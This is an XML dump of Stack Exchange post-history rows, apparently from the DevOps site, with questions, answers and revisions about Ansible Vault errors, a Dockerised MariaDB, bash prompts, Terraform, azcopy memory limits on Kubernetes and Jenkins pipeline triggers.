  <row Id="33408" PostHistoryTypeId="2" PostId="10894" RevisionGUID="6fe114f2-caa2-4913-abe7-a38a68e54486" CreationDate="2020-02-25T04:07:10.470" UserId="19872" Text="I just recently started to use Ansible, and am trying to deploy a configuration file that contains a secret key and email (for credentials to use with an API). I encrypted them with `ansible-vault encrypt_string ...`, and added them to playbook:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: generate dehydrated dns-hook config file&#xD;&#xA;  template:&#xD;&#xA;    src: etc/dehydrated/dns-hook.sh.j2&#xD;&#xA;    dest: /etc/dehydrated/dns-hook.sh.j2&#xD;&#xA;  vars:&#xD;&#xA;    token: !vault |&#xD;&#xA;              $ANSIBLE_VAULT;1.2;AES256;dns-hook&#xD;&#xA;              66326635666264386238316238373135626233393437633937626534623931636365336231363462&#xD;&#xA;              6131333637663337363162653561393962626661313762300a383633303136633564346366383935&#xD;&#xA;              65333265306162386564363937636531346265633635656536646533393961343935313161643262&#xD;&#xA;              6132336430373235380a313364323438393765613131356535373862306337306434653237316566&#xD;&#xA;              34333965356663626231626533656661663364313737663036343161663638373836366235643730&#xD;&#xA;              3965323463643231666361356330343663653536306634646438&#xD;&#xA;    email: !vault |&#xD;&#xA;              $ANSIBLE_VAULT;1.2;AES256;dns-hook&#xD;&#xA;              64336666396139636636386536373531343133303964646631346135633033356162626562333561&#xD;&#xA;              3338336534333236613330336532353861393265613766380a376632616665366463313237656166&#xD;&#xA;              30633135303431336138303535343962663965363536616139393631626534353432313466633064&#xD;&#xA;              3466363063666663360a343233376333643931323738356435643930623765306537313437356638&#xD;&#xA;              3332396164356236663133613432313063373130653632323432643230646237366&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;However, whenever I run the playbook, I get the following error:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;TASK [generate dehydrated dns-hook config file] *****************************************************&#xD;&#xA;[WARNING]: There was a vault format error: Vault format unhexlify error: Odd-length string&#xD;&#xA;&#xD;&#xA;fatal: [sherlock.server.com]: FAILED! =&gt; {&quot;changed&quot;: false, &quot;msg&quot;: &quot;AnsibleVaultFormatError: Vault format unhexlify error: Odd-length string&quot;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The only thing I can find about this error is that I might have newlines that end in `\r\n` instead of just `\n`, but I've verified that is not the case. Everything else I've seen online seems to imply that this format should work, but I'm unable to get it to run successfully." ContentLicense="CC BY-SA 4.0" />
  <row Id="33409" PostHistoryTypeId="1" PostId="10894" RevisionGUID="6fe114f2-caa2-4913-abe7-a38a68e54486" CreationDate="2020-02-25T04:07:10.470" UserId="19872" Text="Including vault-encrypted variables in a task" ContentLicense="CC BY-SA 4.0" />
  <row Id="33410" PostHistoryTypeId="3" PostId="10894" RevisionGUID="6fe114f2-caa2-4913-abe7-a38a68e54486" CreationDate="2020-02-25T04:07:10.470" UserId="19872" Text="&lt;ansible&gt;&lt;ansible-vault&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33411" PostHistoryTypeId="2" PostId="10895" RevisionGUID="969d0790-afc3-4591-9aa3-215bc6129476" CreationDate="2020-02-25T04:53:55.173" UserId="7715" Text="Robuster solution is an encrypted file. For example&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;shell&gt; cat vault1.yml&#xD;&#xA;my_email: admin@example.com&#xD;&#xA;my_tag: tag123&#xD;&#xA;&#xD;&#xA;shell&gt; ansible-vault encrypt vault1.yml&#xD;&#xA;Encryption successful&#xD;&#xA;&#xD;&#xA;shell&gt; cat vault1.yml&#xD;&#xA;$ANSIBLE_VAULT;1.1;AES256&#xD;&#xA;33376431383930313965356364356136306338383238303032363165633962636366663939373237&#xD;&#xA;3433383262306631643431346236653534316331643466660a326562663633346662656233353733&#xD;&#xA;63373561636432653535666437656537326635363935366261666237353136313939323535336665&#xD;&#xA;3333666466656664610a633430313138393238653065623231393165383162656262646139353730&#xD;&#xA;63653231363465643237666465613631646539366262656537323932346530386364353132326234&#xD;&#xA;3230623232393630396361333462343862323231323733376665&#xD;&#xA;```&#xD;&#xA;Then the encryped file can be used in various [places](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#variable-precedence-where-should-i-put-a-variable). For example&#xD;&#xA;```&#xD;&#xA;shell&gt; cat playbook.yml&#xD;&#xA;- hosts: localhost&#xD;&#xA;  tasks:&#xD;&#xA;    - include_vars: vault1.yml&#xD;&#xA;    - debug:&#xD;&#xA;        msg: &quot;email: {{ my_email }} tag: {{ my_tag }}&quot;&#xD;&#xA;```&#xD;&#xA;gives&#xD;&#xA;```&#xD;&#xA;    &quot;msg&quot;: &quot;email: admin@example.com tag: tag123&quot;&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33412" PostHistoryTypeId="5" PostId="10895" RevisionGUID="f1751e16-9870-485b-abb3-cc24dc74e898" CreationDate="2020-02-25T05:12:56.203" UserId="7715" Comment="added 433 characters in body" Text="Robuster and more practical solution is an encrypted file. For example&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;shell&gt; cat vault1.yml&#xD;&#xA;my_email: admin@example.com&#xD;&#xA;my_tag: tag123&#xD;&#xA;&#xD;&#xA;shell&gt; ansible-vault encrypt vault1.yml&#xD;&#xA;Encryption successful&#xD;&#xA;&#xD;&#xA;shell&gt; cat vault1.yml&#xD;&#xA;$ANSIBLE_VAULT;1.1;AES256&#xD;&#xA;33376431383930313965356364356136306338383238303032363165633962636366663939373237&#xD;&#xA;3433383262306631643431346236653534316331643466660a326562663633346662656233353733&#xD;&#xA;63373561636432653535666437656537326635363935366261666237353136313939323535336665&#xD;&#xA;3333666466656664610a633430313138393238653065623231393165383162656262646139353730&#xD;&#xA;63653231363465643237666465613631646539366262656537323932346530386364353132326234&#xD;&#xA;3230623232393630396361333462343862323231323733376665&#xD;&#xA;```&#xD;&#xA;Then the encryped file can be used in various [places](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#variable-precedence-where-should-i-put-a-variable). For example&#xD;&#xA;```&#xD;&#xA;shell&gt; cat playbook.yml&#xD;&#xA;- hosts: localhost&#xD;&#xA;  tasks:&#xD;&#xA;    - include_vars: vault1.yml&#xD;&#xA;    - debug:&#xD;&#xA;        msg: &quot;email: {{ my_email }} tag: {{ my_tag }}&quot;&#xD;&#xA;```&#xD;&#xA;gives&#xD;&#xA;```&#xD;&#xA;    &quot;msg&quot;: &quot;email: admin@example.com tag: tag123&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Including vault-encrypted variables in a task**&#xD;&#xA;&#xD;&#xA;It's possible to limit the scope of the variables to a task. This limits the exposure of the sensitive variables and makes the solution safer. For example&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    - debug:&#xD;&#xA;        msg: &quot;email: {{ my_vault.my_email }} tag: {{ my_vault.my_tag }}&quot;&#xD;&#xA;      vars:&#xD;&#xA;        my_vault: &quot;{{ lookup('file', 'vault1.yml')|from_yaml }}&quot;&#xD;&#xA;```&#xD;&#xA;gives the same result.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33413" PostHistoryTypeId="2" PostId="10896" RevisionGUID="03bdf081-b1ab-4a90-85c8-b26f116e192e" CreationDate="2020-02-25T07:45:55.793" UserId="18612" Text="I recently installed Docker in Ubuntu 18.04 and with that I have downloaded the **mariadb** image like this &#xD;&#xA;&#xD;&#xA;    docker run --name mariadb \&#xD;&#xA;    -p 3306:3306 \&#xD;&#xA;    -v /opt/mariadb_data:/var/lib/mysql \&#xD;&#xA;    -e MYSQL_ROOT_PASSWORD=lopaz \&#xD;&#xA;    --restart always \&#xD;&#xA;    -d mariadb:10.1&#xD;&#xA;&#xD;&#xA;this is pretty cool method that I used to download form the official **mariadb** image and it's working well. What my question is that I want to use to login to the mariadb ? when I type&#xD;&#xA;&#xD;&#xA;`mysql -h &lt;myhost&gt; -u root -p`&#xD;&#xA;&#xD;&#xA;mysql or mariadb not found on my local Ubuntu machine . What happened ? how my pc knows that I installed **mariadb** using docker ? then I installed **mysql client app** then only I can use `mysql` commands on my local pc ! please give me a clarification why it happens when install using docker ? thanks in advanced" ContentLicense="CC BY-SA 4.0" />
  <row Id="33414" PostHistoryTypeId="1" PostId="10896" RevisionGUID="03bdf081-b1ab-4a90-85c8-b26f116e192e" CreationDate="2020-02-25T07:45:55.793" UserId="18612" Text="Does Docker images works without client application" ContentLicense="CC BY-SA 4.0" />
  <row Id="33415" PostHistoryTypeId="3" PostId="10896" RevisionGUID="03bdf081-b1ab-4a90-85c8-b26f116e192e" CreationDate="2020-02-25T07:45:55.793" UserId="18612" Text="&lt;docker&gt;&lt;dockerfile&gt;&lt;images&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33416" PostHistoryTypeId="2" PostId="10897" RevisionGUID="9f7b73bf-c85d-4474-8aa7-5388b5914982" CreationDate="2020-02-25T08:28:07.693" UserId="17276" Text="I want to customise my terminal on an Amazon linux device. &#xD;&#xA;I have colors useing $(tput setaf 33); user name with /u but not IP address is there`#blue=$(tput setaf 33);&#xD;&#xA;PS1=&quot;\[${blue}]\u$(tput sgr0)&quot;&#xD;&#xA;PS1=&quot;${blue}[\u@\w $(tput sgr0)&quot;&#xD;&#xA;PS1+=&quot;&quot;&#xD;&#xA;export PS1;`" ContentLicense="CC BY-SA 4.0" />
  <row Id="33417" PostHistoryTypeId="1" PostId="10897" RevisionGUID="9f7b73bf-c85d-4474-8aa7-5388b5914982" CreationDate="2020-02-25T08:28:07.693" UserId="17276" Text="How do I add my ipaddress to the start of my terrminal useing the bashrc file?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33418" PostHistoryTypeId="3" PostId="10897" RevisionGUID="9f7b73bf-c85d-4474-8aa7-5388b5914982" CreationDate="2020-02-25T08:28:07.693" UserId="17276" Text="&lt;bash&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33425" PostHistoryTypeId="5" PostId="10889" RevisionGUID="def38aba-781a-403b-8852-85b74d079fb3" CreationDate="2020-02-25T13:51:21.540" UserId="15792" Comment="Clarified the question to be a bit less broad" Text="I am curious about difference between a jail environment in linux and Docker.  What separates these two technologies?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33426" PostHistoryTypeId="4" PostId="10889" RevisionGUID="def38aba-781a-403b-8852-85b74d079fb3" CreationDate="2020-02-25T13:51:21.540" UserId="15792" Comment="Clarified the question to be a bit less broad" Text="What is the difference between a jail environment in linux and docker container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33427" PostHistoryTypeId="2" PostId="10900" RevisionGUID="fd81fa50-a233-4df7-81db-ab61ef123e97" CreationDate="2020-02-25T14:02:52.847" UserId="19881" Text="Given a terraform configuration for one set of single `aws_instance`, `aws_ebs_volume` and `aws_volume_attachment` resources, each named, say,`foo`;&#xD;&#xA;&#xD;&#xA;How would one `terraform destroy -target=aws_instance.foo` _without_ terraform also destroying the `aws_ebs_volumen.foo` as the resulting plan insists that it will?&#xD;&#xA;&#xD;&#xA;I've tried to `terraform destroy -target=aws_volume_attachement.foo` first;&#xD;&#xA;&#xD;&#xA;... no-change.&#xD;&#xA;&#xD;&#xA;I've tried removing the `aws_volume_attachment` from the configuration, `terraform apply` it and _then_ `terraform destroy -target=aws_instance.foo`;&#xD;&#xA;&#xD;&#xA;... didn't help either&#xD;&#xA;&#xD;&#xA;Somehow terraform really wants to destroy the `aws_ebs_volume` resource together  with the `aws_instance` resource. &#xD;&#xA;&#xD;&#xA;I, otoh, would very much like to preserve that `aws_ebs_volume` for later attachment to a re-created `aws_instance`...&#xD;&#xA;&#xD;&#xA;Can it be done?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33428" PostHistoryTypeId="1" PostId="10900" RevisionGUID="fd81fa50-a233-4df7-81db-ab61ef123e97" CreationDate="2020-02-25T14:02:52.847" UserId="19881" Text="How to `terraform destroy` an `aws_instance` without also destroying its `aws_ebs_volume` (separate resource)" ContentLicense="CC BY-SA 4.0" />
  <row Id="33429" PostHistoryTypeId="3" PostId="10900" RevisionGUID="fd81fa50-a233-4df7-81db-ab61ef123e97" CreationDate="2020-02-25T14:02:52.847" UserId="19881" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33430" PostHistoryTypeId="5" PostId="10900" RevisionGUID="cd5bbffd-e090-4a48-8395-7a75617f42cd" CreationDate="2020-02-25T14:37:33.247" UserId="19881" Comment="include tool versions" Text="```bash&#xD;&#xA;$ terraform -version&#xD;&#xA;```&#xD;&#xA;&gt;     Terraform v0.12.21&#xD;&#xA;&gt;     + provider.aws v2.34.0&#xD;&#xA;&#xD;&#xA;Given a terraform configuration for one set of single `aws_instance`, `aws_ebs_volume` and `aws_volume_attachment` resources, each named, say,`foo`;&#xD;&#xA;&#xD;&#xA;How would one `terraform destroy -target=aws_instance.foo` _without_ terraform also destroying the `aws_ebs_volumen.foo` as the resulting plan insists that it will?&#xD;&#xA;&#xD;&#xA;I've tried to `terraform destroy -target=aws_volume_attachement.foo` first;&#xD;&#xA;&#xD;&#xA;... no-change.&#xD;&#xA;&#xD;&#xA;I've tried removing the `aws_volume_attachment` from the configuration, `terraform apply` it and _then_ `terraform destroy -target=aws_instance.foo`;&#xD;&#xA;&#xD;&#xA;... didn't help either&#xD;&#xA;&#xD;&#xA;Somehow terraform really wants to destroy the `aws_ebs_volume` resource together  with the `aws_instance` resource. &#xD;&#xA;&#xD;&#xA;I, otoh, would very much like to preserve that `aws_ebs_volume` for later attachment to a re-created `aws_instance`...&#xD;&#xA;&#xD;&#xA;Can it be done?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33431" PostHistoryTypeId="5" PostId="10900" RevisionGUID="610d8de4-78c2-4255-8e71-2a479de81a64" CreationDate="2020-02-25T14:57:32.363" UserId="19881" Comment="include more data on the associated volume." Text="```bash&#xD;&#xA;$ terraform -version&#xD;&#xA;```&#xD;&#xA;&gt;     Terraform v0.12.21&#xD;&#xA;&gt;     + provider.aws v2.34.0&#xD;&#xA;&#xD;&#xA;Given a terraform configuration for one set of single `aws_instance`, `aws_ebs_volume` and `aws_volume_attachment` resources, each named, say,`foo`;&#xD;&#xA;&#xD;&#xA;How would one `terraform destroy -target=aws_instance.foo` _without_ terraform also destroying the `aws_ebs_volumen.foo` as the resulting plan insists that it will?&#xD;&#xA;&#xD;&#xA;  * The aws console reports _`Delete on termination`_ for the volume's block device to be **`false`**;&#xD;&#xA;  * I've tried to `terraform destroy -target=aws_volume_attachement.foo` first;  &#xD;&#xA;    ... no-change.&#xD;&#xA;  * I've tried removing the `aws_volume_attachment` from the configuration, `terraform apply` it and _then_ `terraform destroy -target=aws_instance.foo`;  &#xD;&#xA;    ... didn't help either&#xD;&#xA;&#xD;&#xA;Somehow terraform really wants to destroy the `aws_ebs_volume` resource together  with the `aws_instance` resource. &#xD;&#xA;&#xD;&#xA;I, otoh, would very much like to preserve that `aws_ebs_volume` for later attachment to a re-created `aws_instance`...&#xD;&#xA;&#xD;&#xA;Can it be done?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33432" PostHistoryTypeId="2" PostId="10901" RevisionGUID="9d2ca2b0-29ca-4d4a-ae14-a746d0172397" CreationDate="2020-02-25T16:56:38.460" UserId="19889" Text="When running `azcopy copy` with huge repos, or when running `azcopy bench`, the pods are killed with the error `OOMKilled`.  (azcopy v10)&#xD;&#xA;&#xD;&#xA;The pod has to following resource limitations: &#xD;&#xA;&#xD;&#xA;    limits: { cpu: 1, memory: 2Gi }&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33433" PostHistoryTypeId="1" PostId="10901" RevisionGUID="9d2ca2b0-29ca-4d4a-ae14-a746d0172397" CreationDate="2020-02-25T16:56:38.460" UserId="19889" Text="How to avoid OOMKilled with azcopy on k8s" ContentLicense="CC BY-SA 4.0" />
  <row Id="33434" PostHistoryTypeId="3" PostId="10901" RevisionGUID="9d2ca2b0-29ca-4d4a-ae14-a746d0172397" CreationDate="2020-02-25T16:56:38.460" UserId="19889" Text="&lt;kubernetes&gt;&lt;azure-devops&gt;&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33435" PostHistoryTypeId="2" PostId="10902" RevisionGUID="af374349-5981-4f96-a102-82a0506df1de" CreationDate="2020-02-25T16:56:38.460" UserId="19889" Text="`azcopy` (v10) tries to use all available memory to buffer the blobs on transfer. It seems that the calculated memory size is incorrect and exceeds the pod memory limit. &#xD;&#xA;&#xD;&#xA;This can be controlled with the option `AZCOPY_BUFFER_GB`, as described in the `azcopy env` output below. &#xD;&#xA;&#xD;&#xA;&gt; INFO: Name: AZCOPY_BUFFER_GB&#xD;&#xA;&#xD;&#xA;&gt; Description: Max number of GB that AzCopy should use for buffering data between network and disk. May include decimal point, e.g. 0.5.&#xD;&#xA;&gt; The default is based on machine size.&#xD;&#xA;&#xD;&#xA;So for a pod limit of 2GiB, you can set the buffer a bit lower: &#xD;&#xA;&#xD;&#xA;    export AZCOPY_BUFFER_GB=1.5&#xD;&#xA;    azcopy bench ..." ContentLicense="CC BY-SA 4.0" />
  <row Id="33436" PostHistoryTypeId="2" PostId="10903" RevisionGUID="6b78f023-fd9e-4f6d-9a86-5a1bf608c28d" CreationDate="2020-02-25T17:10:40.167" UserId="15909" Text="This validation block works for a single input variable.&#xD;&#xA;&#xD;&#xA;    variable &quot;mytestname&quot; {&#xD;&#xA;    &#xD;&#xA;         validation {&#xD;&#xA;            condition = length(regexall(&quot;test$&quot;, mytestname)) &gt; 0&#xD;&#xA;            error_message = &quot;Should end in test&quot;&#xD;&#xA;         }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I need it to work inside a for_each - or have some workaround to accomplish this. &#xD;&#xA;The issue is that there is a restriction on the condition statement - the condition HAS to take in the input variable itself (i.e. - it cannot accept an each.value)&#xD;&#xA;&#xD;&#xA;    variable &quot;mytestnames&quot; {&#xD;&#xA;    &#xD;&#xA;    listnames = split(&quot;,&quot;,var.mytestnames)     &#xD;&#xA;         &#xD;&#xA;    for_each = var.listnames&#xD;&#xA;        &#xD;&#xA;         validation {&#xD;&#xA;            condition = length(regexall(&quot;test$&quot;, each.value)) &gt; 0&#xD;&#xA;            error_message = &quot;Should end in test&quot;&#xD;&#xA;          }&#xD;&#xA;    }&#xD;&#xA;The above snippet does not work. I need a way I can iterate over a list of values and validate each of them using the validation block. Anyone? " ContentLicense="CC BY-SA 4.0" />
  <row Id="33437" PostHistoryTypeId="1" PostId="10903" RevisionGUID="6b78f023-fd9e-4f6d-9a86-5a1bf608c28d" CreationDate="2020-02-25T17:10:40.167" UserId="15909" Text="validation block iteratively" ContentLicense="CC BY-SA 4.0" />
  <row Id="33438" PostHistoryTypeId="3" PostId="10903" RevisionGUID="6b78f023-fd9e-4f6d-9a86-5a1bf608c28d" CreationDate="2020-02-25T17:10:40.167" UserId="15909" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33439" PostHistoryTypeId="5" PostId="10903" RevisionGUID="2562f9ab-860b-4a01-9051-1016ec86ea19" CreationDate="2020-02-25T17:44:44.047" UserId="15909" Comment="added 4 characters in body" Text="This validation block works for a single input variable.&#xD;&#xA;&#xD;&#xA;    variable &quot;mytestname&quot; {&#xD;&#xA;    &#xD;&#xA;         validation {&#xD;&#xA;            condition = length(regexall(&quot;test$&quot;, var.mytestname)) &gt; 0&#xD;&#xA;            error_message = &quot;Should end in test&quot;&#xD;&#xA;         }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I need it to work inside a for_each - or have some workaround to accomplish this. &#xD;&#xA;The issue is that there is a restriction on the condition statement - the condition HAS to take in the input variable itself (i.e. - it cannot accept an each.value)&#xD;&#xA;&#xD;&#xA;    variable &quot;mytestnames&quot; {&#xD;&#xA;    &#xD;&#xA;    listnames = split(&quot;,&quot;,var.mytestnames)     &#xD;&#xA;         &#xD;&#xA;    for_each = var.listnames&#xD;&#xA;        &#xD;&#xA;         validation {&#xD;&#xA;            condition = length(regexall(&quot;test$&quot;, each.value)) &gt; 0&#xD;&#xA;            error_message = &quot;Should end in test&quot;&#xD;&#xA;          }&#xD;&#xA;    }&#xD;&#xA;The above snippet does not work. I need a way I can iterate over a list of values and validate each of them using the validation block. Anyone? " ContentLicense="CC BY-SA 4.0" />
  <row Id="33440" PostHistoryTypeId="2" PostId="10904" RevisionGUID="4add8b17-2259-4800-b8ef-b13d4fac916c" CreationDate="2020-02-25T18:01:43.570" UserId="9351" Text="I have Jenkins `Pipeline` job define in my git repo as.&#xD;&#xA;&#xD;&#xA;    // File: deployment/jenkinsfiles/staging/Merge&#xD;&#xA;&#xD;&#xA;    @Library(&quot;my_shared_lib&quot;) _&#xD;&#xA;&#xD;&#xA;    import com.company.myteam.Constants&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent { label &quot;common&quot; }&#xD;&#xA;&#xD;&#xA;        triggers {&#xD;&#xA;            pollSCM(&quot;H/2 * * * *&quot;)&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        options {&#xD;&#xA;            buildDiscarder(logRotator(numToKeepStr: &quot;50&quot;, artifactNumToKeepStr: &quot;50&quot;))&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        stages {&#xD;&#xA;            stage (&quot;Staging Merge&quot;) {&#xD;&#xA;                steps {&#xD;&#xA;                    script {&#xD;&#xA;                        def config = new Constants().repoconfig&#xD;&#xA;                        ansiColor(&quot;xterm&quot;) {&#xD;&#xA;                            myteam.pipelines.stagingMerge(config)&#xD;&#xA;                        }&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        post {&#xD;&#xA;            always {&#xD;&#xA;                cleanWs()&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Then I created jenkins job configuration as below.&#xD;&#xA;&#xD;&#xA;[![Jenkins Job Config][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now, When I check the `Git Polling Log` its polling `shared-library` too.&#xD;&#xA;&#xD;&#xA;    Started on Feb 25, 2020 5:33:07 PM&#xD;&#xA;    Using strategy: Default&#xD;&#xA;    [poll] Last Built Revision: Revision 681f996e689bdeb9cfca2b167002b8ccd99590cb (origin/staging)&#xD;&#xA;    using credential github_username_with_token&#xD;&#xA;     &gt; git --version # timeout=10&#xD;&#xA;    using GIT_ASKPASS to set credentials Github Service Account Username with token&#xD;&#xA;     &gt; git ls-remote -h https://myuser@github.company.com/myteam/myrepo # timeout=10&#xD;&#xA;    Found 6 remote heads on https://myuser@github.company.com/myteam/myrepo&#xD;&#xA;    [poll] Latest remote head revision on refs/heads/staging is: 681f996e689bdeb9cfca2b167002b8ccd99590cb - already built by 53&#xD;&#xA;    Using strategy: Default&#xD;&#xA;    [poll] Last Built Revision: Revision e80628ec7c9dbc59decbc81a3b884dcaa963a8dc (refs/remotes/origin/master)&#xD;&#xA;    using credential github_username_with_token&#xD;&#xA;     &gt; git rev-parse --is-inside-work-tree # timeout=10&#xD;&#xA;    Fetching changes from the remote Git repositories&#xD;&#xA;     &gt; git config remote.origin.url https://myuser@github.company.com/myteam/jenkins-shared-libraries.git # timeout=10&#xD;&#xA;    Fetching upstream changes from https://myuser@github.company.com/myteam/jenkins-shared-libraries.git&#xD;&#xA;     &gt; git --version # timeout=10&#xD;&#xA;    using GIT_ASKPASS to set credentials Github Service Account Username with token&#xD;&#xA;     &gt; git fetch --tags --progress https://myuser@github.company.com/myteam/jenkins-shared-libraries.git +refs/heads/*:refs/remotes/origin/* # timeout=10&#xD;&#xA;    Polling for changes in&#xD;&#xA;     &gt; git rev-parse refs/remotes/origin/master^{commit} # timeout=10&#xD;&#xA;     &gt; git rev-parse refs/remotes/origin/origin/master^{commit} # timeout=10&#xD;&#xA;     &gt; git log --full-history --no-abbrev --format=raw -M -m --raw e80628ec7c9dbc59decbc81a3b884dcaa963a8dc..869b3a16e07d21a88d557f1857376bfed7717a6e # timeout=10&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Whenever I change code in `jenkins-shared-library`, its start build for the job.&#xD;&#xA;&#xD;&#xA;I tried `workaround` given in https://issues.jenkins.io/browse/JENKINS-39615?focusedCommentId=280729&amp;page=com.atlassian.jira.plugin.system.issuetabpanels%3Acomment-tabpanel#comment-280729, but no luck.&#xD;&#xA;&#xD;&#xA;I changed my `pollSCM` to `githubPush`, but this also trigger when I change in `shared-library`. &#xD;&#xA;&#xD;&#xA;I tried solution given in https://issues.jenkins-ci.org/browse/JENKINS-41497 as `Ignore on push notifications` for `githubPush()` but still its triggering job.&#xD;&#xA;&#xD;&#xA;Before moving to `pipeline`, I had `freestyle` project. Where there is section **Source Code Management**, where we can define the branch, and `githubPush()` was listening on that branch only. &#xD;&#xA;&#xD;&#xA;[![Source Code Management][2]][2] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When we select project type as `pipeline` there is no **Source code management** section. May be due to that, its listening for all push events.&#xD;&#xA;&#xD;&#xA;By `push` or `poll`, I want to restrict my jenkins job to trigger only when there is changes on `myrepo.git` only.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ns4bB.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/vKeww.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="33441" PostHistoryTypeId="1" PostId="10904" RevisionGUID="4add8b17-2259-4800-b8ef-b13d4fac916c" CreationDate="2020-02-25T18:01:43.570" UserId="9351" Text="Jenkins trigger build if shared library changes" ContentLicense="CC BY-SA 4.0" />
  <row Id="33442" PostHistoryTypeId="3" PostId="10904" RevisionGUID="4add8b17-2259-4800-b8ef-b13d4fac916c" CreationDate="2020-02-25T18:01:43.570" UserId="9351" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;git&gt;&lt;git-hooks&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33446" PostHistoryTypeId="5" PostId="10903" RevisionGUID="94e6f83c-d4d8-4c03-8cb3-8236be61c103" CreationDate="2020-02-25T18:37:06.460" UserId="15909" Comment="added 55 characters in body" Text="This validation block works for a single input variable.&#xD;&#xA;&#xD;&#xA;    variable &quot;mytestname&quot; {&#xD;&#xA;    &#xD;&#xA;         validation {&#xD;&#xA;            condition = length(regexall(&quot;test$&quot;, var.mytestname)) &gt; 0&#xD;&#xA;            error_message = &quot;Should end in test&quot;&#xD;&#xA;         }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I need it to work inside a for_each - or have some workaround to accomplish this. &#xD;&#xA;The issue is that there is a restriction on the condition statement - the condition HAS to take in the input variable itself (i.e. - it cannot accept an each.value)&#xD;&#xA;&#xD;&#xA;    variable &quot;mytestnames&quot; {&#xD;&#xA;    &#xD;&#xA;    listnames = split(&quot;,&quot;,var.mytestnames)     &#xD;&#xA;         &#xD;&#xA;    for_each = var.listnames&#xD;&#xA;        &#xD;&#xA;         validation {&#xD;&#xA;            condition = length(regexall(&quot;test$&quot;, each.value)) &gt; 0&#xD;&#xA;            error_message = &quot;Should end in test&quot;&#xD;&#xA;          }&#xD;&#xA;    }&#xD;&#xA;The above snippet does not work. I need a way I can iterate over a list of values and validate each of them using the validation block. There must be a way to do this without a validation block...?? " ContentLicense="CC BY-SA 4.0" />
  <row Id="33447" PostHistoryTypeId="5" PostId="10900" RevisionGUID="bbb3620f-929c-4215-bf0e-31316acdc8f8" CreationDate="2020-02-25T19:57:19.397" UserId="19881" Comment="fix typo" Text="```bash&#xD;&#xA;$ terraform -version&#xD;&#xA;```&#xD;&#xA;&gt;     Terraform v0.12.21&#xD;&#xA;&gt;     + provider.aws v2.34.0&#xD;&#xA;&#xD;&#xA;Given a terraform configuration for one set of single `aws_instance`, `aws_ebs_volume` and `aws_volume_attachment` resources, each named, say,`foo`;&#xD;&#xA;&#xD;&#xA;How would one `terraform destroy -target=aws_instance.foo` _without_ terraform also destroying the `aws_ebs_volume.foo` as the resulting plan insists that it will?&#xD;&#xA;&#xD;&#xA;  * The aws console reports _`Delete on termination`_ for the volume's block device to be **`false`**;&#xD;&#xA;  * I've tried to `terraform destroy -target=aws_volume_attachement.foo` first;  &#xD;&#xA;    ... no-change.&#xD;&#xA;  * I've tried removing the `aws_volume_attachment` from the configuration, `terraform apply` it and _then_ `terraform destroy -target=aws_instance.foo`;  &#xD;&#xA;    ... didn't help either&#xD;&#xA;&#xD;&#xA;Somehow terraform really wants to destroy the `aws_ebs_volume` resource together  with the `aws_instance` resource. &#xD;&#xA;&#xD;&#xA;I, otoh, would very much like to preserve that `aws_ebs_volume` for later attachment to a re-created `aws_instance`...&#xD;&#xA;&#xD;&#xA;Can it be done?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33448" PostHistoryTypeId="2" PostId="10906" RevisionGUID="f7b2f109-4469-43f5-a79e-5bcab55b3951" CreationDate="2020-02-25T19:59:28.807" UserId="18060" Text="Simply delete the Jenkinsfile on the branch(es) you don't want to have corresponding branch jobs for. Revert the commit to restore the Jenkinsfile if/when you need the branch job again." ContentLicense="CC BY-SA 4.0" />
  <row Id="33449" PostHistoryTypeId="5" PostId="10906" RevisionGUID="960bee3e-3979-47a5-8e97-264ff9f52caf" CreationDate="2020-02-25T20:32:40.890" UserId="18060" Comment="added 114 characters in body" Text="Simply delete the Jenkinsfile on the branch(es) you don't want to have corresponding branch jobs for. This will delete the branch job (of course, iff you have set your &quot;Orphaned Item Strategy&quot; appropriately).&#xD;&#xA;&#xD;&#xA;Revert the commit to restore the Jenkinsfile if/when you need the branch job again.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
